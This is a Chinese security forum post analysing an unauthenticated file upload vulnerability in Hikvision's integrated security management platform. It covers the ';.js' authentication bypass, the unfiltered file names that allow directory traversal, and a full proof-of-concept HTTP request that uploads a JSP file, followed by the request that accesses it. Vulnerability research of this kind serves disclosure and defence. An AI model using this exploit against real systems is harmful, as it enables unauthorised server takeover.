海康威视综合安防管理平台clusters页面文件上传漏洞

海康威视综合安防管理平台clusters页面文件上传漏洞

漏洞介绍

海康威视综合安防管理平台clusters页面文件上传,未经身份验证的远程攻击者可通过该漏洞上传任意文件从而获取服务器权限。

漏洞分析

鉴权绕过主要是因为springMVC-servlet.xml定义了三个拦截器:LoginInterceptor用于登录拦截、PermissionInterceptor用于目录拦截、TracingHandlerInterceptor用于日志追踪,在第一个拦截器LoginInterceptor中,它拦截所有请求路径,但排除了一些特定的请求路径,如对.css、.js、.ico、.json等文件不进行鉴权

<mvc:interceptor>
<mvc:mapping path\="/**/*" />
<mvc:exclude-mapping path\="/center/api/session" />
<mvc:exclude-mapping path\="/center/api/session/captcha" />
<mvc:exclude-mapping path\="/center/api/locales" />
<mvc:exclude-mapping path\="/*.html" />
<mvc:exclude-mapping path\="/**/*.html" />
<mvc:exclude-mapping path\="/**/*.js" />
<mvc:exclude-mapping path\="/**/*.css" />
<mvc:exclude-mapping path\="/**/*.png" />
<mvc:exclude-mapping path\="/**/*.gif" />
<mvc:exclude-mapping path\="/**/*.ico" />
<mvc:exclude-mapping path\="/**/*.hbs" />
<mvc:exclude-mapping path\="/**/*.json" />
<mvc:exclude-mapping path\="/**/*.ttf" />
<mvc:exclude-mapping path\="/**/*.woff" />
<mvc:exclude-mapping path\="/**/*.eot" />
<mvc:exclude-mapping path\="/**/*.svg" />
<bean
class\="com.hikvision.center.module.login.interceptor.LoginInterceptor"></bean>
</mvc:interceptor>

并且在cas-client.properties中也声明了以下文件不做鉴权

cas.ignore.pattern\=/,*.html,/login,*.css,*.js,*.json,/casLogin,*.ico,*.icon,*.png,*.map,/api/meta/qrcode,/api/session,/api/session/captcha,/api/locales,/api/meta,/api/users/*/password,/api/fileUpload/*,/center/api/fileUpload/*,/api/clientInstall/LatestVersion,/api/clientResourceInstall/LatestVersion,/center/api/clientInstall/LatestVersion,/center/api/clientResourceInstall/LatestVersion,/api/machines/*/steps,/api/verifyCodeImage,/api/encryptParam,/api/webLogin,/api/modifyPassword,/api/negotiation,/api/webMachines,/api/webDelMachines

在Spring MVC中,removeSemicolonContentInternal 是一个内部方法,主要用于移除URL路径中的分号内容,因为i访问某些静态文件是不需要鉴权的,所有访问/clusterMgr/clusters/ssl/file;.js时会因为该特性解析为/clusterMgr/clusters/ssl/file从而绕过鉴权。

搜索路由/ssl/file,定位代码,接受参数proxyAddress和file文件,文件名fileName直接拼接在路径后面,并未有任何过滤

image-20240803111137931.png

全局搜索关键词MultipartFile,还有其他的一些接口同样存在任意文件上传

image-20240803115424278.png

查看其中一个接口/files,其中调用this.knowledgeService.uploadFile(file)方法上传文件

image-20240803120444497.png
跟进该方法,filename直接从file中获取拼接在路径中,没有任何过滤,可以实现跨目录上传文件。

image-20240803120737444.png

漏洞POC

POST /clusterMgr/clusters/ssl/file;.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/112.0.0.0 Safari/537.36 HTML
Host: 8.8.8.8:1443
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------984514492333278399715408
Content-Length: 339

----------------------------984514492333278399715408
Content-Disposition: form-data; name="file"; filename="languages/default.jsp"
Content-Type: image/png

<%out.print("111");%>
----------------------------984514492333278399715408
Content-Disposition: form-data; name="proxyAddress"

8.8.8.8
----------------------------984514492333278399715408--

image-20240803110837872.png

访问/clusterMgr/languages/M1.jsp;.js

image-20240803110904045.png

另一个接口也能上传:

image-20240803120929378.png

修复方式

联系官网,升级补丁

  • 发表于 2024-08-12 09:55:52
  • 阅读 ( 5568 )
  • 分类:CMS

0 条评论

请先 登录 后评论
买橘子
买橘子

3 篇文章

站长统计